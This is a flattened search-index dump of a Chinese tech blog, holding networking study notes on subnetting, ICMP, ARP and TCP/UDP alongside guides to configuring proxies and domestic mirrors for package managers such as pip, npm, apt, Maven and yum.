192.168.1.224/27广播地址192.168.1.000 11111 /27192.168.1.001 11111 /27192.168.1.010 11111 /27192.168.1.011 11111 /27192.168.1.100 11111 /27192.168.1.101 11111 /27192.168.1.110 11111 /27192.168.1.111 11111 /27 [例] 某公司 4 个部门，每个部门最多 36 人192.168.10.0/24 (主机位 8)划分出合适的网络掩码网络号子网数目 2^h-2&gt;=36h&gt;=6n=2子网数目 2^2=4掩码255.255.255.11 000000255.255.255.192网络号192.168.10.00 000000 192.168.10.0/26192.168.10.01 000000 192.168.10.64/26192.168.10.10 000000 192.168.10.128/26192.168.10.11 000000 192.168.10.192/26 IP 编址一个网络内拥有的 IP 地址数量为 (代表主机位位数). 因为网络号和广播地址不可以配置在设备上，所以实际可用主机地址数为 . 如果两个 IP 地址的网络位相同，则这两个地址属于同一个网络，可以不通过网关设备或路由器直接通信. 如果两个 IP 地址的网络位不同，则需要借助网关设备和路由器进行通信. 使用默认掩码的就是有类地址. 无类地址就是经过子网划分的 IP 地址. VLSM: 可变长子网掩码. 子网掩码变长，主机位变少， 就会变少，主机数目减少，避免地址浪费。主机位长度缩减，网络位就会增加. 一个子网位能分出两个子网 ( 是子网位位数). CIDR: 无类域间路由 (VLSM 逆运算) 子网掩码除了 VLSM 以外，还可以变短进行网络信息的汇总，这种操作方式就是 CIDR. 将不同网络的网络号中共同发生变化的位置当作主机位进行处理，之后对外发布，起到节省设备资源的作用."},{"title":"","date":"2023-12-12T07:45:00.000Z","updated":"2023-12-12T07:45:00.000Z","comments":true,"path":"notes/datacom/7.html","permalink":"https://blog.mhuig.top/notes/datacom/7","excerpt":"","text":"ICMP 协议 ICMP 协议 ICMPRFC 792 ICMP: 网络控制消息协议，协议号 1, 是一个网络层协议. 用于在网络中传递差错和控制消息的协议. ICMP 报文格式 TYPE: 类型，8bit, 表示 ICMP 消息类型. Code: 值，8bit, 表示消息类型中的不同信息. Checksum: 校验和，16bit, (只校验 ICMP 数据包). Ethernet_II Header Type=0x0800 IP IP Header Protocol=1 ICMP 差错检测ICMP Echo Request (ICMP 请求消息) Type 8 Code 0 ICMP Echo Reply (ICMP 回应消息) Type 0 Code 0 使用 ICMP 协议设备会发送一个 ICMP Echo Request 消息，当对方设备收到该消息时，会回应一个 ICMP Echo Reply 消息，只要发送请求消息的设备收到了对应的 ICMP Echo Reply, 则认为网络可以通信. ICMP 消息类型和编码类型 不可达消息类型 Type=3 code=0 网络不可达 Type=3 code=1 主机不可达 Type=3 code=2 协议不可达 Type=3 code=3 端口不可达 ping 应用&gt;ping 192.168.1.6正在 Ping 192.168.1.6 具有 32 字节的数据:来自 192.168.1.6 的回复: 字节=32 时间=82ms TTL=248来自 192.168.1.6 的回复: 字节=32 时间=49ms TTL=248来自 192.168.1.6 的回复: 字节=32 时间=48ms TTL=248来自 192.168.1.6 的回复: 字节=32 时间=283ms TTL=248192.168.1.6 的 Ping 统计信息: 数据包: 已发送 = 4, 已接收 = 4, 丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 48ms, 最长 = 283ms, 平均 = 115ms ICMP 重定向数据包控制 ICMP 重定向是 ICMP 控制报文的一种，当网关设备从接口收到用户数据后，如果数据的出口与入接口相同，则网关设备会向用户发送一个 ICMP 重定向报文，用于通知用户将目的地址下一跳直接设置为最优路径，从而优化用户数据转发. 然而，需要注意的是，由于安全性和潜在的攻击风险，许多网络管理员会禁用或限制 ICMP 重定向消息的传输。这是因为恶意用户可能利用 ICMP 重定向来欺骗主机，导致数据包被发送到错误的路径上. Tracert 应用&gt;tracert baidu.com通过最多 30 个跃点跟踪到 baidu.com [11x.xx.xx.66] 的路由: 1 6 ms 4 ms 2 ms H3C [192.168.20.1] 2 * * * 请求超时。 3 27 ms 3 ms 28 ms 22x.xx.xx.1 4 6 ms 9 ms 33 ms 11x.xx.xx.5 5 * * * 请求超时。 6 25 ms * 21 ms 22x.xx.xx.229 7 * * * 请求超时。 8 23 ms 28 ms * 22x.xx.xx.62 9 26 ms * * 21x.xx.xx.189 10 30 ms 26 ms * 21x.xx.xx.170 11 52 ms 34 ms 50 ms 11x.xx.xx.162 12 124 ms 45 ms 37 ms 22x.xx.xx.134 13 * * * 请求超时。 14 * * * 请求超时。 15 * * * 请求超时。 16 * * * 请求超时。 17 27 ms 26 ms 31 ms 11x.xx.xx.66跟踪完成。 Tracert: 路径追踪，基于 ICMP 的另一种工具，可以显示报文到达目的地的路径，检测网络丢包以及时延的有效手段，同时可以帮助管理员发现网络中的环路. 基于 IP 报文头中的 TTL 字段来逐跳追踪报文的转发路径，并且返回数据报文达到目的主机的路径详细信息，显示每个路径所消耗的时间. 工作原理 源端设备将 TTL 值设置为 1, 该报文到达第一个节点后，TTL 超时，于是该节点向源端点发送一个 TTL 超时消息，该消息携带了该设备的 IP 地址和到达该设备使用的时间. 源端设备将 TTL 值设置为 2, 该报文到达第二个节点后，TTL 超时，于是该节点向源端点发送一个 TTL 超时消息，该消息携带了该设备的 IP 地址和到达该设备使用的时间. 反复此过程，直到报文到达目的地. 最后一个设备 应用层发数据时将 UDP 设置特别大目的端口值 到达目的地返回端口不可达."},{"title":"","date":"2023-12-13T02:24:00.000Z","updated":"2023-12-13T02:24:00.000Z","comments":true,"path":"notes/datacom/8.html","permalink":"https://blog.mhuig.top/notes/datacom/8","excerpt":"","text":"ARP 协议 ARP 协议 ARPARP: 地址解析协议，用于已知一台设备 IP 地址时，获取对方的硬件地址信息，从而进行数据链路层的封装. ARP 协议本身没有一个独立的协议号. 网络层协议. 数据发送之前发送数据帧，要有源目 MAC 地址. RFC 826 ARP 报文格式 Hardware Type: 硬件地址类型，以太网，值为 1. Protocol Type: 协议地址类型，IP 协议，值为 0x0800. Hardware length: MAC 地址长度，单位是字节，值为 6. Protocol length: IP 地址长度，单位是字节，值为 4. Operation code: 表示 ARP 报文的类型. ARP Request: 值为 1. ARP Reply: 值为 2. Source hardware address: 源 MAC 地址. Source protocol address: 源 IP 地址. Destination hardware address: 目的 MAC 地址. Destination protocol address: 目的 IP 地址. Eternet_II Header 0x0806: ARP 协议 ARP 缓存表ARP 缓存表：用来存放 IP 地址以及 MAC 地址的对应关系. 华为设备 ARP 缓存表老化时间 1200s (20min) PC&gt;arp -aInternet Address Physical Address Type ARP 工作过程ARP 请求：源主机的 ARP 缓存表中不存在目的主机的 MAC 地址，此时源主机会发送 ARP Request 报文来请求目的主机的 MAC 地址，此数据帧中的目的 MAC 地址字段为广播. ARP 响应：跟源主机处于同一个广播域的同一个设备都会收到广播形式的 ARP Request 报文，收到报文后，会查看 ARP 报文头部中的目的 IP 和自己是否一致. 如果相同，则目的主机会将 ARP Request 报文中的源 IP 地址和源 MAC 地址记录到自己的 ARP 缓存表中，并通过 ARP Reply 响应. 如果不同，记录 ARP 表项后，丢弃请求报文. 当源主机收到目的主机发来的 ARP Reply 报文后，会检查数据帧中的目的 MAC 和 ARP 中的 IP 地址是否为自己的 IP 地址和 MAC 地址，如果相同，源主机会将报文中的源 IP 地址和源 MAC 地址记录到自己的缓存表中. 免费 ARP设备刚接入网络时 (刚拥有 IP 地址) 发送免费 ARP (无故 ARP). 用于检测 IP 地址冲突，主机主动使用自己的 IP 地址作为 ARP 中的目的 IP 地址使用，发送请求，正常情况下不会收到 ARP 响应，如果收到则表明网络中存在与自身 IP 地址重复的设备. ARP 代理同一网段，不同物理网络上的计算机之间，可以通过 ARP 代理实现相互通信. 实现第一跳冗余. ARP 欺骗，存在安全问题，现在基本不用. ARP 常存在于以太网，存在局限性. VRRP"},{"title":"","date":"2023-12-13T05:54:00.000Z","updated":"2023-12-13T05:54:00.000Z","comments":true,"path":"notes/datacom/9.html","permalink":"https://blog.mhuig.top/notes/datacom/9","excerpt":"","text":"传输层协议 传输层协议 什么是端到端端到端是网络连接。网络要通信，必须建立连接，不管多远，中间有多少设备，都必须在源和目的之间建立连接. 端到端是逻辑连接，这条路可能经过了很复杂的物理线路，但两端的设备不管，只认为两端有连接. TCP 端口号端口号：用于区分不同的网络服务. 端口号范围: 0-65535. 知名端口号: 0-1023, 即众所周知的端口号. 注册端口号: 1024-49151, 公司和其他用户向 ICANN 机构登记的端口号. 动态端口号 (私有端口号): 49152-65535, 普通用户或随机生成时使用的端口号. 基于 TCP 工作的应用层协议和端口: FTP (文件传输协议): 20,21 SSH (安全加密远程登陆协议) : 22 Telnet (远程登陆协议): 23 SMTP (简单邮件传输协议): 25 DNS (域名解析系统): 53 基于 TCP/UDP HTTP (超文本传输协议): 80 HTTPS (加密超文本传输协议): 443 RDP (远程桌面): 3389 每一种端口对应一种网络服务或网络应用. TCPRFC 793 TCP 是一种面向连接的传输层协议，可提供可靠的传输服务. TCP 提供重传机制. TCP 报文头0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Source Port | Destination Port |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Sequence Number |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Acknowledgment Number |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Data | |U|A|P|R|S|F| || Offset| Reserved |R|C|S|S|Y|I| Window || | |G|K|H|T|N|N| |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Checksum | Urgent Pointer |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Options | Padding |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| data |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ TCP Header Format Note that one tick mark represents one bit position. S.port: 源端口，16bit, 表示发送者的端口号，发送者是普通用户时，随机生成端口号。提供服务端应用时，端口号根据服务来决定. D.port: 目的端口，16bit, 表示接收方的端口号. Sequence number: 序列号，32bit, 用于标识 TCP 数据段的顺序. TCP 连接建立或数据传输时会将第一个 TCP 报文随机编上一个序号，保证报文传输的有序性。序列号随机生成但有序增长，单位为 1 字节. ACK number: 确认序列号，32bit, 用于 TCP 的确认机制。用于标识接收端确认收到的数据段，确认序列号为 成功收到的数据的序列号+1, 只在 ACK 位置位时有效. Header length: 头长度，4bit, 用于标识 TCP 头部长度。每个单位 4 字节. Reserved: 保留字段，6bit, 全部为 0. URG: 紧急指针有效标识，1bit, 此标志位可以通知此报文段中有紧急数据需要处理. ACK: 确认位，1bit, 用于 TCP 的确认功能开启. PSH: 催促标记位，1bit, 表示接收方应该尽快处理这个报文段，交给应用层. RST: 重新建立标识，1bit, 当 RST=1 时，表示 TCP 连接出现严重错误，必须释放连接，然后重新建立连接. SYN: 同步序列标识，1bit, 表示希望与对端建立连接并数据同步，用于发起一个 TCP 连接. FIN: 结束位，1bit, 用于 TCP 连接的关闭功能，用于释放 TCP 连接. Window: 窗口大小，16bit, 用于标识 TCP 单次传递数据的大小控制。一般用于 TCP 流量控制。窗口大小的数值代表接收端期望接收的字节数，最大位 65535 字节. Checksum: 校验和，16bit, 用于校验整个 TCP 报文的完整性. Urgent Pointer: 紧急指针，16bit, 可以实现 TCP 的紧急指针功能，只有 URG 为 1 时有效，标识在本数据段中紧急数据的字节数. TCP 建立连接 三次握手PC Server==&gt; seq=a SYN=1 ========================&gt;&lt;== seq=b SYN=1 ACK=1 ack number=a+1 &lt;====&gt; seq=a+1 ACK=1 ack number=b+1 ==&gt; PC 主动发送 TCP 报文，本地随机生成一个序列号 a, SYN 置位，表示想要建立连接. Server 收到请求消息后，本地随机生成序列号 b, 将 ACK 位置位，确认号为对方发送请求的序列号 + 1, SYN 置位. PC 将序列号有序加 1, ACK 置位，确认号为对方发来的序列号 + 1. TCP 传输过程 重传机制TCP 可以根据接收方的处理能力来调整自己的窗口大小，来接收分批次的传输数据，此时对端设备不需要每次都给与确认，只需要确认收到报文后的最后一个序列号. 如果在传输过程中，数据因为某些原因丢失，那么接收方将对上一个收到的报文进行确认，来告知对端设备，后续报文没有收到，此时对端设备会重传数据. 下一条序列号 = 上一条序列号 + 数据载荷长度. TCP 滑动窗口机制 流量控制当发送者根据自己的窗口大小来发送数据，接受者会根据自己的窗口大小来接收，窗口大小为最优的传输速率. 如果此时发送端的窗口大小大于接收端的窗口大小就会导致数据丢失. 接收端在确认时，会将收到的最后一个数据段进行确认，并将自己的窗口大小告诉发送端，发送端收到此报文后会调整自己的窗口大小，并重传. TCP 关闭连接 四次挥手PC Server==&gt; seq=a FIN=1 ACK=1 ack number=b ==&gt;&lt;== seq=b ACK=1 ack number=a+1 &lt;==&lt;== seq=b FIN=1 ACK=1 ack number=a+1 &lt;====&gt; seq=a+1 ACK=1 ack number=b+1 ==&gt; PC Server Seq=a ack number=b FIN=1 ACK=1==&gt; (发起关闭连接) &lt;== seq=b ack number=a+1 ACK=1 (确认并将确认位置位，ack number 为对方的序列号 + 1) &lt;== seq=b ack number=a+1 FIN=1 ACK=1 (因为 TCP 双向关闭连接，所以双向关闭) Seq=a+1 ACK ack number=b+1 (PC 序列号自加，确认位置位，ack number 为对方的序列号 + 1) TCP 特点 1. 运行于传输层 2. 为网络提供可靠的接入 3. 是一种面向连接的协议 4. 是一种全双工的，会建立双向通道的协议 5. 具备错误检查能力 6. 数据段序列化 7. 具备接收确认机制 8. 具备数据重传机制 UDPRFC 768 UDP: 用户数据包协议. 提供不可靠的传输服务，具有 TCP 没有的优势. UDP 无连接，时间上不需要建立连接所需要的时延；空间上，TCP 需要在端系统中维护连接状态，UDP 不需要. 特点: 运行于传输层 是一种无面向连接的协议 提供有限的错误检查能力 采用尽力而为的传输方式 不具备数据重传功能 一些时延敏感的流量，如语音视频等，通常使用 UDP 作为传输层协议. UDP 端口号范围: 0-65535 知名端口号: 0-1023 注册端口号: 1024-49151 动态端口号: 49152-65535 基于 UDP 的应用层协议 DNS: 域名解析协议 53 DHCP: 动态主机配置协议 67 68 TFTP: 轻量级文件传输协议 69 SNMP: 简单网络管理协议 161 RIP: 路由信息协议 520 一个距离矢量路由协议 BFD: 双向转发检测 3784 UDP 报文头0 7 8 15 16 23 24 31 +--------+--------+--------+--------+ | Source | Destination | | Port | Port | +--------+--------+--------+--------+ | | | | Length | Checksum | +--------+--------+--------+--------+ | | data octets ... +---------------- ... User Datagram Header Format S.port: 源端口. D.port: 目的端口. Length: UDP 报文总长度. Checksum: 校验和，校验 UDP 报文完整性."},{"title":"","date":"2023-12-03T05:47:00.000Z","updated":"2023-12-03T05:47:00.000Z","comments":true,"path":"notes/datacom/index.html","permalink":"https://blog.mhuig.top/notes/datacom/","excerpt":"","text":".fa-secondary{opacity:.4} 数据通信网络 数据通信网络 .prev-next{ display: none !important; }"},{"title":"Package Manager Proxy Settings","date":"2022-06-29T00:37:00.000Z","updated":"2022-06-29T01:31:00.000Z","comments":true,"path":"notes/package-manager-proxy-settings/index.html","permalink":"https://blog.mhuig.top/notes/package-manager-proxy-settings/","excerpt":"","text":"如果你的包管理器想直接使用优秀的镜像仓库，请参考这个：Thanks-Mirror pip添加至 ~/.config/pip/pip.conf ~/.config/pip/pip.conf[global]proxy=http://localhost:1087 注意不支持 socks5。 gitclone with ssh在文件 ~/.ssh/config 后添加下面两行 ~/.ssh/configHost github.com# Mac下ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p# Linux下ProxyCommand nc --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p 注意 Linux 和 Mac 下 ncat/netcat 区别，详见： What are the differences between ncat, nc and netcat? clone with httpgit config --global http.proxy http://127.0.0.1:1087 建议使用 http, 因为 socks5 在使用 git-lfs 时会报错 proxyconnect tcp: dial tcp: lookup socks5: no such host Referencelaispace/git 设置和取消代理 cargoCargo 会依次检查以下位置: 环境变量 CARGO_HTTP_PROXY export CARGO_HTTP_PROXY=http://127.0.0.1:1080 任意 config.toml 中的 http.proxy [http]proxy = \"127.0.0.1:1080\" 环境变量 HTTPS_PROXY &amp; https_proxy &amp; http_proxy export https_proxy=http://127.0.0.1:1080export http_proxy=http://127.0.0.1:1080 http_proxy 一般来讲没必要，除非使用基于 HTTP 的 Crate Repository Cargo 使用 libcurl，故可接受任何符合 libcurl format 的地址与协议 ( 127.0.0.1:1080 , http://127.0.0.1:1080, socks5://127.0.0.1:1080 ）均可 ReferenceThe Cargo Book - httpproxy apt (apt-get)在 /etc/apt/apt.conf.d/ 目录下新增 proxy.conf 文件，加入： /etc/apt/apt.conf.d/proxy.confAcquire::http::Proxy \"http://127.0.0.1:8080/\";Acquire::https::Proxy \"http://127.0.0.1:8080/\"; 如果希望使用 Socks5 代理，则加入： /etc/apt/apt.conf.d/proxy.confAcquire::http::Proxy \"socks5h://127.0.0.1:8080/\";Acquire::https::Proxy \"socks5h://127.0.0.1:8080/\"; Reference apt.conf “Acquire::http:Proxy “proxyserver:port” seems not to be used socks5 vs socks5h curl添加至 ~/.curlrc。 ~/.curlrcsocks5 = \"127.0.0.1:1080\" Gradle添加至 ~/.gradle/gradle.properties ~/.gradle/gradle.propertiessystemProp.http.proxyHost=127.0.0.1systemProp.http.proxyPort=1087systemProp.https.proxyHost=127.0.0.1systemProp.https.proxyPort=1087 ReferenceGradle proxy configuration Maven添加至 %Maven 安装目录%/conf/settings.xml。 % Maven 安装目录 %/conf/settings.xml&lt;!-- proxies | This is a list of proxies which can be used on this machine to connect to the network. | Unless otherwise specified (by system property or command-line switch), the first proxy | specification in this list marked as active will be used. |--&gt;&lt;proxies&gt; &lt;!-- proxy | Specification for one proxy, to be used in connecting to the network. | &lt;proxy&gt; &lt;id&gt;optional&lt;/id&gt; &lt;active&gt;true&lt;/active&gt; &lt;protocol&gt;http&lt;/protocol&gt; &lt;username&gt;proxyuser&lt;/username&gt; &lt;password&gt;proxypass&lt;/password&gt; &lt;host&gt;proxy.host.net&lt;/host&gt; &lt;port&gt;80&lt;/port&gt; &lt;nonProxyHosts&gt;local.net|some.host.com&lt;/nonProxyHosts&gt; &lt;/proxy&gt; --&gt; &lt;proxy&gt; &lt;id&gt;proxy&lt;/id&gt; &lt;active&gt;true&lt;/active&gt; &lt;protocol&gt;http&lt;/protocol&gt; &lt;host&gt;127.0.0.1&lt;/host&gt; &lt;port&gt;1087&lt;/port&gt; &lt;/proxy&gt;&lt;/proxies&gt; ReferenceGuide-proxies go getHTTP_PROXY=socks5://localhost:1080 go get 测试了下 HTTPS_PROXY 和 ALL_PROXY 都不起作用，或可使用：goproxy.io npmnpm config set proxy http://127.0.0.1:1087npm config set https-proxy http://127.0.0.1:1087 用 socks5 就报错。推荐使用 yarn，npm 是真的慢。 reference Is there a way to make npm install (the command) to work behind proxy? NPM Binary 镜像配置 rustupexport https_proxy=http://127.0.0.1:1080 yarnyarn config set proxy http://127.0.0.1:1087yarn config set https-proxy http://127.0.0.1:1087 不支持 socks5 Referenceyarn 需要像 npm 一样配置代理么？ yarn2Yarn 2+ - Official yarn config set httpProxy http://127.0.0.1:1087yarn config set httpsProxy http://127.0.0.1:1087 不支持全局设置，支持 socks5。 提示：这个命令会修改项目目录下的 .yarnrc.yml 文件，请留意不要把带有如: .yarnrc.ymlhttpsProxy: \"socks5://127.0.0.1:1080\" 的代码提交到仓库，以免造成麻烦 建议使用 npm 镜像而不是配置使用代理 yarn config set npmRegistryServer https://127.0.0.1:1087注意：此方法不适用于下载 yarn 官方插件！yarn 的官方插件默认会从 GitHub (raw.githubusercontent.com) 上下载，您可能依旧需要配置代理。 Reference yarn doc - httpProxy yarn doc - httpsProxy gem添加至 ~/.gemrc。 .gemrc---# See 'gem help env' for additional options.http_proxy: http://localhost:1087 brew设置环境变量： ALL_PROXY=socks5://localhost:1080 wget添加至 ~/.wgetrc。 .wgetrcuse_proxy=yeshttp_proxy=127.0.0.1:1087https_proxy=127.0.0.1:1087 ReferenceHow to set proxy for wget? snapsudo snap set system proxy.http=\"http://127.0.0.1:1087\"sudo snap set system proxy.https=\"http://127.0.0.1:1087\" ReferenceHow to install snap packages behind web proxy docker$ sudo mkdir -p /etc/systemd/system/docker.service.d$ sudo vim /etc/systemd/system/docker.service.d/proxy.conf[Service]Environment=\"ALL_PROXY=socks5://localhost:1080\"$ sudo systemctl daemon-reload$ sudo systemctl restart docker 必须是 socks5，http 不生效 Electron Dev Dependency设置环境变量 ELECTRON_GET_USE_PROXY=trueGLOBAL_AGENT_HTTPS_PROXY=http://localhost:1080 References Advanced Installation Instructions global-agent Visual Studio Code Remote (WSL2)WSL2 环境下可以通过设置 ~/.vscode-server/server-env-setup 脚本文件，设置开发环境的环境变量，使用代理。 WSL2 内环境访问 Win 下的代理程序端口代理 (例子代码中 http 代理端口监听 17070)，因为子网地址每次启动都不一样，需要动态处理。 新建 ~/.vscode-server/server-env-setup 文件，该文件会在 VSCode 启动 WSL 环境后被 source。 server-env-setupWSL_HOST=$(sed -n '/^nameserver/p' /etc/resolv.conf | cut -d' ' -f2)export http_proxy=http://${WSL_HOST}:17070export https_proxy=$http_proxyexport all_proxy=$http_proxy ReferencesDeveloping in WSL Visual Studio Code Remote (SSH)VSCode SSH 后的环境不会使用本地界面 VSCode 内的代理设置，如果 SSH 主机没有默认网络链接或在墙内，会导致问题。 SSH 主机无网络需要手动下载 vscode 的 server 端传输部署。详情见链接 How can I install vscode-server in linux offline [duplicate] download-vs-code-server.sh SSH 主机在墙内虽然文档未提及，但是可以使用 WSL 模式的方案，配置 ~/.vscode-server/server-env-setup 文件设置代理。 SSH 主机有代理程序监听在 17070 端口： 新建 ~/.vscode-server/server-env-setup 文件，该文件会在 VSCode 启动 WSL 环境后被 source。 server-env-setupexport http_proxy=http://127.0.0.1:17070export https_proxy=$http_proxyexport all_proxy=$http_proxy ReferencesRemote Development using SSH Scoopscoop config proxy 127.0.0.1:1080 ReferenceUsing Scoop behind a proxy OpenWRT opkg在 LUCI 面版菜单配置或者 /etc/opkg.conf 末尾追加 /etc/opkg.confoption http_proxy http://localhost:1080/ References[OpenWrt Wiki] Opkg package manager Chocolatey从 0.9.9.9 版本开始，choco 支持在配置文件显式配置代理。 # 设置代理choco config set proxy http://localhost:8888# 取消代理choco config unset proxy 除此之外，从 0.10.4 版本开始，choco 会自动寻找 http_proxy 和 https_proxy 或者 noproxy 环境变量，通过在命令行临时设置环境变量的方式也可以方便调整 choco 的代理设置。 ReferenceChocolatey Software Docs | Use Chocolatey w/Proxy Server"},{"title":"Package Mirror","date":"2022-06-29T06:20:00.000Z","updated":"2022-06-29T06:20:00.000Z","comments":true,"path":"notes/package-mirror/index.html","permalink":"https://blog.mhuig.top/notes/package-mirror/","excerpt":"","text":"注意：假如所有的镜像都已经被本地 nexus 私服代理，那么对应的地址为 nexus.eryajf.net/repository/***/。(这只是个域名示例，不代表实际可用！) GoConfiguration如果 go 版本用的 go1.11 或者 go1.12，需进行如下配置： export GO111MODULE=onexport GOPROXY=\"http://nexus.eryajf.net/repository/go/\" 如果使用 go1.13 以上的版本则可以用如下配置： export GOPROXY=\"http://nexus.eryajf.net/repository/go/\"GONOPROXY=\"gitlab.eryajf.net\"GONOSUMDB=\"gitlab.eryajf.net\"GOPRIVATE=\"gitlab.eryajf.net\"GOSUMDB=\"sum.golang.google.cn\" 关于如上两个版本配置差异，以及配置参数详解可参考：https://wiki.eryajf.net/pages/4941.html Mirrors Aliyun https://mirrors.aliyun.com/goproxy/ Proxy-cn https://goproxy.cn Proxy-io https://proxy.golang.com.cn Baidu https://goproxy.bj.bcebos.com/ Tencent https://mirrors.cloud.tencent.com/go/ HUAWEI https://repo.huaweicloud.com/repository/goproxy/ 其中 GOSUMDB 在国内可用的两个镜像分别如下： Google https://sum.golang.google.cn/ sumdb-io https://gosum.io/ NpmConfiguration配置 npm 代理，需进行如下配置： # npm配置$ echo 'registry=http://nexus.eryajf.net/repository/npm' &gt; ~/.npmrc# 查看$ npm config get registryhttp://nexus.eryajf.net/repository/npm# yarn配置$ echo 'registry \"http://nexus.eryajf.net/repository/npm\"' &gt; ~/.yarnrc# 查看$ yarn config get registryhttp://nexus.eryajf.net/repository/npm Mirrors Taobao https://registry.npm.taobao.org但是请注意如下一个消息： 淘宝 npm 域名即将切换 &amp;&amp; npmmirror 重构升级：即原来的淘宝 npm 域名将停止解析，因此所有依赖此域名的都需要进行更改。 域名切换规则： http://npm.taobao.org=&gt; http://npmmirror.com http://registry.npm.taobao.org=&gt; http://registry.npmmirror.com HUAWEI https://repo.huaweicloud.com/repository/npm/ Tencent http://mirrors.cloud.tencent.com/npm/ 浙江大学 http://mirrors.zju.edu.cn/npm/ 南京邮电 https://mirrors.njupt.edu.cn/nexus/repository/npm/ npmjs https://registry.npmjs.org PipConfiguration配置 Python 代理，需进行如下配置： $ mkdir ~/.pip$ cat &gt; ~/.pip/pip.conf &lt;&lt; EOF[global]timeout = 60trusted-host = nexus.eryajf.netindex-url = http://nexus.eryajf.net/repository/pypi/simpleEOF 注意：通常在配置文件后边，我们会添加一个 simple。 # 简洁配置方式 1pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple# 简洁配置方式 2 pip3 install --upgrade -i https://pypi.tuna.tsinghua.edu.cn/simple yt-dlp Mirrors目前代理外部私仓有： Aliyun http://mirrors.aliyun.com/pypi/ douban http://pypi.douban.com/ 清华 https://pypi.tuna.tsinghua.edu.cn/ 163 https://mirrors.163.com/pypi HUAWEI https://repo.huaweicloud.com/repository/pypi Tencent https://mirrors.cloud.tencent.com/pypi/ 北大 https://mirrors.pku.edu.cn/pypi/ 南阳理工 https://mirror.nyist.edu.cn/pypi/ 大连东软 http://mirrors.neusoft.edu.cn/pypi/web/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/pypi/web/ 上海交通大学 https://mirror.sjtu.edu.cn/pypi/web/simple/ ComposerComposer 是 PHP 的一个依赖管理工具，需要 PHP 5.3.2 以上才能运行。 Configuration配置 PHP 代理，需进行如下配置： 全局配置（推荐） 所有项目都会使用该镜像地址：composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ 取消配置：composer config -g --unset repos.packagist 项目配置 仅修改当前工程配置，仅当前工程可使用该镜像地址：composer config repo.packagist composer https://mirrors.aliyun.com/composer/ 取消配置：composer config --unset repos.packagist 参考：https://developer.aliyun.com/composer Mirrors目前代理外部私仓有： Aliyun https://mirrors.aliyun.com/composer/ Tencent https://mirrors.cloud.tencent.com/composer/ HUAWEI https://mirrors.huaweicloud.com/repository/php/ Packagist https://packagist.phpcomposer.com 上海交通 https://packagist.mirrors.sjtug.sjtu.edu.cn RubygemsRubyGems 是 Ruby 的一个包管理器，它提供一个分发 Ruby 程序和库的标准格式，还提供一个管理程序包安装的工具。 Configuration配置 Ruby 代理，需进行如下配置： # 首先，查看当前源：$ gem sources -l*** CURRENT SOURCES ***https://rubygems.org/# 接着，移除 https://rubygems.org/，并添加国内下载源 https://gems.ruby-china.com/。$ gem sources --remove https://rubygems.org/$ gem sources -a https://gems.ruby-china.com/$ gem sources -l*** CURRENT SOURCES ***https://gems.ruby-china.com/# 请确保只有 gems.ruby-china.com$ gem install rails 参考：https://www.runoob.com/ruby/ruby-rubygems.html Mirrors目前代理外部私仓有： Aliyun https://mirrors.aliyun.com/rubygems/ Tencent https://mirrors.cloud.tencent.com/rubygems/ HUAWEI https://repo.huaweicloud.com/repository/rubygems/ 清华 https://mirrors.tuna.tsinghua.edu.cn/rubygems/ 中科大 https://mirrors.ustc.edu.cn/rubygems/ 北京外国语大学 https://mirrors.bfsu.edu.cn/rubygems/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/rubygems/ MavenConfigurationJava 系的工具版本规范如下： JDK：1.8.0_292 MVN：3.3.9 配置 Maven 代理，参考配置文件： settings.xml Mirrors HUAWEI https://repo.huaweicloud.com/repository/maven/ Maven Central Repository https://repo1.maven.org/maven2/ Aliyun http://maven.aliyun.com/nexus/content/groups/public/ Tencent https://mirrors.cloud.tencent.com/maven/ 南京邮电 https://mirrors.njupt.edu.cn/nexus/repository/maven-central Apache Maven https://repo.maven.apache.org/maven2 https://repository.apache.org/content/groups/snapshots https://repository.apache.org/content/groups/staging/ https://repository.apache.org/content/groups/public/ confluent http://packages.confluent.io/maven/ cloudera http://repo.hortonworks.com/content/repositories/releases jboss https://repository.jboss.org/nexus/content/groups/public Lss233’s.Mirror（供 Minecraft 开发使用） http://lss233.littleservice.cn/repositories/minecraft YumConfiguration如果 CentOS 服务器要接入私服 yum 源，则清空本地 /etc/yum.repos.d 的内容，添加如下内容： $ cat &gt;&gt; /etc/yum.repos.d/nexus.repo &lt;&lt; 'EOF'[nexus]name=Nexus Repositorybaseurl=http://nexus.eryajf.net/repository/yum/$releasever/os/$basearch/enabled=1gpgcheck=0[nexus-local]name=Nexus Repositorybaseurl=http://nexus.eryajf.net/repository/eryajf-yum-local/enabled=1gpgcheck=0EOF 然后执行如下命令： yum clean allyum makecache Mirrors目前代理外部源： Aliyun https://mirrors.aliyun.com/centos/ HUAWEI https://repo.huaweicloud.com/centos/ Tencent https://mirrors.cloud.tencent.com/centos/ 北京交通 https://mirror.bjtu.edu.cn/centos/ 东北大学 http://mirror.neu.edu.cn/centos/ 兰州大学 https://mirror.lzu.edu.cn/centos/ 清华 https://mirrors.tuna.tsinghua.edu.cn/centos/ 华中科技大学 https://mirrors.ustc.edu.cn/centos/ 浙江大学 